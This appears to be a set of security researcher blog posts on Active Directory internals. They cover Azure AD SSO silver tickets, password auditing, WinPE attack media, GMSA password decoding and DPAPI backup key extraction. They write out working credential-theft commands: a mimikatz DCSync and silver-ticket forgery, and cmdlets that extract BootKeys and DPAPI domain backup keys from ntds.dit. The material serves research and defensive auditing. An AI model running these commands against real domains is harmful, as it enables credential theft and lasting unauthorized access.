My HipConf 2018 slide deck about Offline Attacks on Active Directory is available for download.
The Restore From Media stuff will be published in the upcoming DSInternals 3.1 release.
My HipConf 2018 slide deck about Offline Attacks on Active Directory is available for download.
The Restore From Media stuff will be published in the upcoming DSInternals 3.1 release.
Last month, Microsoft has introduced a new feature of Azure AD Connect called Single Sign On. It allows companies to configure SSO between AD and AAD without the need to deploy ADFS, which makes it an ideal solution for SMEs. Here is a high-level diagram of this functionality:
As we can see from the diagram above, Azure AD exposes a publicly available endpoint that accepts Kerberos tickets and translates them into SAML and JWT tokens, which are understood and trusted by other cloud services like Office 365, Azure or Salesforce. And wherever you have Kerberos-based authentication, it can be attacked using Silver Tickets.
In usual circumstances this attack can only be performed from the intranet. But what really caught my attention is the fact that with this new SSO feature, Silver Tickets could be used from the entire internet. Let’s give it a try then!
To test this technique, we need to retrieve some information from Active Directory first:
1 |
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit |
1 2 |
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso ` -Server lon-dc1.contoso.local |
Having this information we can now create and use the Silver Ticket on any Windows computer connected to the internet. It does not even matter whether it is joined to a domain or a workgroup:
1 2 3 4 |
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit |
1 |
klist purge |
It is also worth noting that the password of the AZUREADSSOACC account never changes, so the stolen hash/key will work forever. It could therefore be misused by highly privileged employees to retain access to the IT environment after leaving the company. Dealing with such situations is a much broader problem, which is aptly depicted by the following old Narnian saying:
First of all, I have to point out that this technique would not be very practical in real-world situations due to these reasons:
As you can see, there is simply no need to panic. But just to be safe, I would recommend these generic security measures:
Although the Silver Ticket attack has been here for some years, it is now probably the first time it can be used over the internet against a cloud service, which theoretically makes it even more potent. On the other hand, it would be quite hard to perform this technique in a real-world environment due to impracticalities discussed in the previous section, so there is no need to worry. The new Seamless SSO feature of Azure AD Connect can therefore be considered safe and preferred solution for SSO to Office 365 .
Tags: Active Directory, Microsoft Azure, Mimikatz, Office 365, Security
I recently worked with Thycotic to create a program called Weak Password Finder for Active Directory. The goal was to develop a tool that would be very easy to use yet powerful enough to yield actionable results. I think that this combination really makes it unique in the market. It basically does the same as my PowerShell module, but with a nice and shiny user interface:
It generates reports which are suitable for the management:
Of course, you can also drill down through the detailed data:
Here is a quick demo of the tool:
Did I mention that the Weak Password Finder is totally FREE?
The latest version of the DSInternals PowerShell Module contains a new cmdlet called Test-PasswordQuality, which is a powerful yet easy to use tool for Active Directory password auditing. It can detect weak, duplicate, default, non-expiring or empty passwords and find accounts that are violating security best practices. All domain administrators can now audit Active Directory passwords on a regular basis, without any special knowledge.
The Test-PasswordQuality cmdlet accepts output of the Get-ADDBAccount and Get-ADReplAccount cmdlets, so both offline (ntds.dit) and online (DCSync) analysis can be done:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
Get-ADReplAccount -All -Server LON-DC1 -NamingContext "dc=adatum,dc=com" | Test-PasswordQuality -WeakPasswordHashesFile .\pwned-passwords-ntlm-ordered-by-count.txt -IncludeDisabledAccounts <# Sample output: Active Directory Password Quality Report ---------------------------------------- Passwords of these accounts are stored using reversible encryption: April Brad Don LM hashes of passwords of these accounts are present: These accounts have no password set: Guest nolan test Passwords of these accounts have been found in the dictionary: adam peter Historical passwords of these accounts have been found in the dictionary: april brad These groups of accounts have the same passwords: Group 1: Aidan John Group 2: Joe JoeAdmin JoeVPN These computer accounts have default passwords: LON-CL2$ Kerberos AES keys are missing from these accounts: Julian Kerberos pre-authentication is not required for these accounts: Holly Chad Only DES encryption is allowed to be used with these accounts: Holly Jorgen These administrative accounts are allowed to be delegated to a service: Administrator April krbtgt Passwords of these accounts will never expire: Administrator Guest These accounts are not required to have a password: Guest Magnus Maria #> |
Although the cmdlet output is formatted in a human readable fashion, it is still an object, whose properties can be accessed separately (e.g. $result.WeakPassword) to produce a desired output.
I would like to thank Jakob Heidelberg for his idea to use the DSInternals module for password auditing. A big thank you also goes to Ondrej Sevecek for sharing his comprehensive auditing tool called SAPHA, from which I borrowed ideas for a few tests.
Tags: Active Directory, PowerShell, Security
Since version 2.15, the DSInternals PowerShell Module fully supports Windows PE, the free minimalistic edition of Windows. This means that all the nasty Active Directory database stuff can now be performed from a bootable flash drive or an ISO image, including:
These actions would of course require an attacker to have one of the following:
In an ideal world, only Domain Admins should have such non-trivial access to the core AD infrastructure, but the everyday reality is far from perfect.
To create a bootable Windows PE media loaded with the DSInternals module, follow these steps:
1 |
copype amd64 C:\WinPE_amd64 |
1 |
Dism /Mount-Image /ImageFile:"C:\WinPE_amd64\media\sources\boot.wim" /index:1 /MountDir:"C:\WinPE_amd64\mount" |
1 2 3 4 5 6 7 8 9 10 11 |
Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-WMI.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-WMI_en-us.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-NetFX.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-NetFX_en-us.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-Scripting.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-Scripting_en-us.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-PowerShell.cab" Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-PowerShell_en-us.cab" |
1 |
Dism /Add-Driver /Image:"C:\WinPE_amd64\mount" /Driver:"C:\DriversToEmbed" /Recurse |
1 2 3 |
[LaunchApps] wpeinit.exe powershell.exe, -NoExit -NoLogo -ExecutionPolicy Bypass |
1 |
MakeWinPEMedia /ISO C:\WinPE_amd64 C:\WinPE_amd64\WinPE_amd64.iso |
The same command can be used to create a bootable flash drive or VHD.
As you have seen, it is pretty straightforward to create a bootable flash drive that can be used to conquer an Active Directory domain through a physically accessible DC. One of the precautions a domain administrator can take is to encrypt all DCs using BitLocker or other tool that does full volume encryption. Deploying RODCs at smaller branch offices is also a good idea. The new features in Windows Server 2016, Virtual TPMs and Shielded VMs, also seem very promising in regards to DC security.
Tags: Active Directory, DPAPI, PowerShell, Security
One of the new features in Windows Server 2016 will be the Active Directory Expiring Links feature, which enables time-bound group membership, expressed by a time-to-live (TTL) value. Here is how it works:
The Expiring Links feature had been a standalone feature in early Windows Server 2016 builds, but as of TP4, it is a part of the broader Privileged Access Management (PAM) feature. It is disabled by default, because it requires Windows Server 2016 forest functional level. One of the ways to enable the PAM feature is running this PowerShell cmdlet:
1 |
Enable-ADOptionalFeature -Identity 'Privileged Access Management Feature' -Target (Get-ADForest) -Scope ForestOrConfigurationSet |
Note that once this feature is enabled in a forest, it can never be disabled again.
Unfortunately, this feature is not exposed in any GUI (yet), so you cannot create expiring links, nor can you tell the difference between a regular link and an expiring one. We will therefore use PowerShell to do the job:
1 2 3 4 5 6 7 8 9 10 11 |
# Add user PatColeman to the Domain Admins group for the next 2 hours $ttl = New-TimeSpan -Hours 2 Add-ADGroupMember -Identity 'Domain Admins' -Members PatColeman -MemberTimeToLive $ttl # Show group membership with TTL Get-ADGroup -Identity 'Domain Admins' -ShowMemberTimeToLive -Properties member | Select-Object -ExpandProperty member <# Output: <TTL=6987>,CN=PatColeman,CN=Users,DC=adatum,DC=com CN=Administrator,CN=Users,DC=adatum,DC=com #> |
As we can see, the TTL value in the output is in seconds (2h = 7200s). As soon as the TTL expires, the DCs will automatically remove user PatColeman from the Domain Admins group and his current Kerberos tickets will also expire.
PowerShell is great, but what if we needed to stick with pure LDAP? Well, if you want to add a user into a group for a limited amount of time, you do it exactly as you are used to, but you have to specify his distinguished name (DN) in the new TTL-DN form: <TTL=TimeToLive,DN>. In our sample case, it would look like this:
<TTL=7200,CN=PatColeman,CN=Users,DC=adatum,DC=com>
To view the group membership with TTLs, the corresponding LDAP search operation has to contain the LDAP_SERVER_LINK_TTL extended control (OID = 1.2.840.113556.1.4.2309). Here is a screenshot from the ldp.exe tool with this control enabled:
I was also quite interested in how this feature is implemented in the ntds.dit file. I have found out that as soon as you enable the PAM feature, the DCs automatically extend their database schemas in the following way:
Tags: Active Directory, LDAP, PowerShell, Security
I am happy to announce that a new version of the DSInternals PowerShell Module has been released, now with Windows Server 2003 support.
Tags: Active Directory, PowerShell, Security
Have you ever wondered how the automatically generated passwords of Group Managed Service Accounts (GMSA) look like? Well, you can fetch them from Active Directory in the same way as Windows Servers do and see yourself. Here is how:
To start experimenting, we need to have a GMSA first, so we create one:
1 2 3 4 5 6 7 |
# Create a new KDS Root Key that will be used by DC to generate managed passwords Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10) # Create a new GMSA New-ADServiceAccount ` -Name 'SQL_HQ_Primary' ` -DNSHostName 'sql1.adatum.com' |
We can check the result in the Active Directory Users and Computers console:
Unfortunately, the built-in GUI will not help us much when working with GMSAs. Although there is a nice 3rd party tool, we will stick to PowerShell.
Now we need to provide a list of principals that are allowed to retrieve the plaintext password from DCs through LDAP. Normally, we would grant this privilege to one or more servers (members of the same cluster/web farm). But we will grant the privilege to ourselves instead:
1 2 3 |
Set-ADServiceAccount ` -Identity 'SQL_HQ_Primary' ` -PrincipalsAllowedToRetrieveManagedPassword 'Administrator' |
Of course, you should not use the built-in Administrator account in a production environment.
Now comes the fun part:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# We have to explicitly ask for the value of the msDS-ManagedPassword attribute. Even a wildcard (*) would not work. Get-ADServiceAccount ` -Identity 'SQL_HQ_Primary' ` -Properties 'msDS-ManagedPassword' <# Output: DistinguishedName : CN=SQL_HQ_Primary,CN=Managed Service Accounts,DC=Adatum,DC=com Enabled : True msDS-ManagedPassword : {1, 0, 0, 0...} Name : SQL_HQ_Primary ObjectClass : msDS-GroupManagedServiceAccount ObjectGUID : 5f8e24c5-bd21-43a4-95ab-c67939434e81 SamAccountName : SQL_HQ_Primary$ SID : S-1-5-21-3180365339-800773672-3767752645-4102 UserPrincipalName : #> |
Note that until now, we have only used regular, built-in cmdlets from the ActiveDirectory module, courtesy of Microsoft.
Let’s have a look at the msDS-ManagedPassword attribute, that has been returned by the command above. It is a constructed attribute, which means that its value is calculated by DC from the KDS root key and the msDS-ManagedPasswordId attribute every time someone asks for it. Although documented, the cryptographic algorithm used is quite complicated. Furthermore, the value of the msDS-ManagedPasswordId gets re-generated every (msDS-ManagedPasswordInterval)-days (30 by default).
We see that the msDS-ManagedPassword attribute of our GMSA contains a sequence of bytes. It is a binary representation of the MSDS-MANAGEDPASSWORD_BLOB data structure, which contains some metadata in addition to the actual password. As there had been no publicly available tool to decode this structure, I have created one myself:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Save the blob to a variable $gmsa = Get-ADServiceAccount ` -Identity 'SQL_HQ_Primary' ` -Properties 'msDS-ManagedPassword' $mp = $gmsa.'msDS-ManagedPassword' # Decode the data structure using the DSInternals module ConvertFrom-ADManagedPasswordBlob $mp <# Output: Version : 1 CurrentPassword : 湤ୟɰ橣낔饔ᦺ几᧾ʞꈠ⿕ՔὬ랭뷾햾咶郸�렇ͧ퀟럓몚ꬶ佩䎖∘Ǐ㦗ן뱷鼹⽩Ⲃ⫝咽㠅E䠹鸞왶婰鞪 PreviousPassword : QueryPasswordInterval : 29.17:15:36.3736817 UnchangedPasswordInterval : 29.17:10:36.3736817 #> |
TADA!!! The CurrentPassword property contains the actual cleartext password of the GMSA in question. Why does it look like gibberish? Because it is just 256 bytes of pseudorandom data, interpreted as 128 UTF-16 characters. Good luck writing that on your keyboard. But if we calculate its NT hash, it will match the hash stored in AD.
We have seen that retrieving the value of GMSA passwords is quite easy. But don’t be afraid, there is no security hole in Active Directory. The cleartext password is always passed through an encrypted channel, it is automatically changed on a regular basis and even members of the Domain Admins group are not allowed to retrieve it by default. So do not hesitate and start using the (Group) Managed Service Accounts. They are much safer than using regular accounts for running services.
If you want to play more with this stuff, just grab the DSInternals module. And for developers, the C# code I use to decode the structure can be found on GitHub.
Tags: Active Directory, LDAP, PowerShell, Security
The Data Protection API (DPAPI) is used by several components of Windows to securely store passwords, encryption keys and other sensitive data. When DPAPI is used in an Active Directory domain environment, a copy of user’s master key is encrypted with a so-called DPAPI Domain Backup Key that is known to all domain controllers. Windows Server 2000 DCs use a symmetric key and newer systems use a public/private key pair. If the user password is reset and the original master key is rendered inaccessible to the user, the user’s access to the master key is automatically restored using the backup key.
Benjamin Delpy has already found a way to extract these backup keys from the LSASS of domain controllers and it even works remotely:
I have taken Benjamin’s research one step further and I can now extract these keys directly from the Active Directory database, where they are physically stored:
The keys are stored in the currentValue attribute of objects whose names begin with BCKUPKEY and are of class secret. The BCKUPKEY_PREFERRED Secret and BCKUPKEY_P Secret objects actually only contain GUIDs of objects that hold the current modern and legacy keys, respectively. Furthermore, the currentValue attribute is encrypted using BootKey (aka SysKey) and is never sent through LDAP.
The Get-BootKey, Get-ADDBBackupKey and Save-DPAPIBlob cmdlets from my DSInternals PowerShell Module can be used to retrieve the DPAPI Domain Backup Keys from ntds.dit files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# We need to get the BootKey from the SYSTEM registry hive first: Get-BootKey -SystemHiveFilePath 'C:\IFM\registry\SYSTEM' <# Output: 41e34661faa0d182182f6ddf0f0ca0d1 #> # Now we can decrypt the DPAPI backup keys from the database: Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' ` -BootKey 41e34661faa0d182182f6ddf0f0ca0d1 | Format-List <# Output: Type : LegacyKey DistinguishedName : CN=BCKUPKEY_7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Secret,CN=System,DC=Adatum,DC=com RawKeyData : {77, 138, 250, 6...} KeyId : 7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Type : PreferredLegacyKeyPointer DistinguishedName : CN=BCKUPKEY_P Secret,CN=System,DC=Adatum,DC=com RawKeyData : {14, 178, 130, 120...} KeyId : 7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Type : RSAKey DistinguishedName : CN=BCKUPKEY_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d Secret,CN=System,DC=Adatum,DC=com RawKeyData : {48, 130, 9, 186...} KeyId : b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d Type : PreferredRSAKeyPointer DistinguishedName : CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=Adatum,DC=com RawKeyData : {62, 106, 197, 177...} KeyId : b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d #> # In most cases, we just want to export these keys to the file system: Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' ` -BootKey 41e34661faa0d182182f6ddf0f0ca0d1 | Save-DPAPIBlob -DirectoryPath .\Keys # New files should have been created in the Keys directory: (dir .\Keys).Name <# Output: ntds_capi_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d.pfx ntds_legacy_7882b20e-96ef-4ce5-a2b9-3efdccbbce28.key #> |
Note that mimikatz would name these files similarly.
The same result can be achieved by communicating with the Directory Replication Service using the Get-ADReplBackupKey cmdlet:
1 2 |
Get-ADReplBackupKey -Domain 'Adatum.com' -Server LON-DC1 | Save-DPAPIBlob -DirectoryPath .\Keys |
I am already starting to repeat myself:
Tags: Active Directory, DPAPI, PowerShell, Security